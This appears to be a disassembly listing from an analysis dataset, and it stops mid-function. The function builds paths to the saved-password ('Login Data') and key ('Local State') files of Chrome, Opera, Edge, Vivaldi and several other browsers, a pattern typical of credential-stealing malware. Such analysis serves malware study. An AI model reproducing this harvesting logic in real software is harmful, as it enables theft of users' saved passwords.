Function at 0x18008f760
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x148]
sub rsp, 0x240
movaps xmmword [rax - 0x18], xmm6
xor r9d, r9d
movaps xmmword [rax - 0x28], xmm7
mov rsi, rdx
mov rdi, rcx
lea rax, [rbp + 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor r14d, r14d
mov qword [rbp - 0x18], 0xf
mov rbx, 0xffffffffffffffff
mov qword [rbp - 0x20], r14
mov byte [rbp - 0x30], r14b
lea rax, [rbp + 0x10]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008f7d0
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x30]
call fcn.1800a7f50
xor r9d, r9d
lea rax, [rbp + 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], r14b
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], r14b
jne 0x18008f820
mov r8, rbx
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x50]
call fcn.1800a7f50
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], 0xf
mov byte [rdi], r14b
lea rdx, [rbx + 0x24]
mov byte [rsp + 0x70], r14b
movdqu xmmword [rbp - 0x80], xmm0
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x24
lea rdx, str.GoogleChromeUser_DataLocal_State
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x2b]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x2b
lea rdx, str.GoogleChromeUser_DataDefaultLogin_Data
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.Chrome
mov r8d, 6
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x18008f958
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x18008f9d1
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18008f9c8
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18008f9c3
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f30
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x18008fa0e
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18008fa0e
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fa09
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f30
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x18008fa49
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fa44
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f30
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rbp - 0x20]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x28]
call fcn.1800a9410
cmp qword [rbp - 0x18], 0x10
lea rdx, [rbp - 0x30]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rbp - 0x30]
call fcn.1800a7730
mov r8d, 0x28
lea rdx, str.Opera_SoftwareOpera_StableLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rbp - 0x20]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x27]
call fcn.1800a9410
cmp qword [rbp - 0x18], 0x10
lea rdx, [rbp - 0x30]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rbp - 0x30]
call fcn.1800a7730
mov r8d, 0x27
lea rdx, str.Opera_SoftwareOpera_StableLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.Opera
mov r8d, 5
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x18008fb50
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x18008fbc9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18008fbc0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18008fbbb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f36
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x18008fc06
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18008fc06
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fc01
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f36
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x18008fc41
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fc3c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f36
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x25]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x25
lea rdx, str.MicrosoftEdgeUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x2c]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x2c
lea rdx, str.MicrosoftEdgeUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.Edge
mov r8d, 4
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x18008fd50
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x18008fdc9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18008fdc0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18008fdbb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f3c
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x18008fe06
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18008fe06
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fe01
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f3c
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x18008fe41
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008fe3c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f3c
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x29]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x29
lea rdx, str.SputnikLabSputnikUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x30]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x30
lea rdx, str.SputnikLabSputnikUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.Sputnik
mov r8d, 7
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x18008ff50
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x18008ffc9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x18008ffc0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18008ffbb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f42
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090006
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090006
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090001
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f42
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090041
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009003c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f42
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x1f]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x1f
lea rdx, str.ChromiumUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x26]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x26
lea rdx, str.ChromiumUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.Chromium
mov r8d, 8
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090150
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800901c9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800901c0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800901bb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f48
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090206
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090206
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090201
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f48
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090241
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009023c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f48
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x1e]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x1e
lea rdx, str.OrbitumUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x25]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x25
lea rdx, str.OrbitumUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.Orbitum
mov r8d, 7
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090350
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800903c9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800903c0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800903bb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f4e
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090406
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090406
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090401
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f4e
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090441
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009043c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f4e
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x1e]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x1e
lea rdx, str.VivaldiUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x25]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x25
lea rdx, str.VivaldiUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.Vivaldi
mov r8d, 7
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090550
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800905c9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800905c0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800905bb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f54
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090606
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090606
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090601
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f54
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090641
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009063c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f54
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x24]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x24
lea rdx, str.ComodoDragonUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x2b]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x2b
lea rdx, str.ComodoDragonUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.Comodo
mov r8d, 6
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.1800a79d0
lea r9, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.18008ef90
cmp qword [rdi + 0x18], 0x10
mov r8, rdi
jb 0x180090750
mov r8, qword [rdi]
mov r9, qword [rdi + 0x10]
mov rcx, rax
call fcn.1800a9670
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
lea rax, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdi, rax
je 0x1800907c9
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x1800907c0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1800907bb
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180090f5a
mov rcx, r8
call fcn.1800afef0
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
jmp 0x180090806
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x180090806
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180090801
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f5a
call fcn.1800afef0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x180090841
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009083c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090f5a
call fcn.1800afef0
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rbp - 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], r14b
lea rdx, [rbx + 0x25]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rbp - 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x25
lea rdx, str.CocCocBrowserUser_DataLocal_State
lea rcx, [rbp - 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x60]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], r14b
lea rdx, [rbx + 0x2c]
call fcn.1800a9410
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
mov r8, rbx
lea rcx, [rsp + 0x70]
cmovae rdx, qword [rsp + 0x50]
call fcn.1800a7730
mov r8d, 0x2c
lea rdx, str.CocCocBrowserUser_DataDefaultLogin_Data
lea rcx, [rsp + 0x70]
call fcn.1800a7730
movdqa xmm0, xmmword [0x1800f28b0]
lea rdx, str.CocCoc
mov r8d, 6
mov byte [rsp + 0x30], r14b
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x40], xmm0
call fcn.1800a7f50
mov rdx, rsi
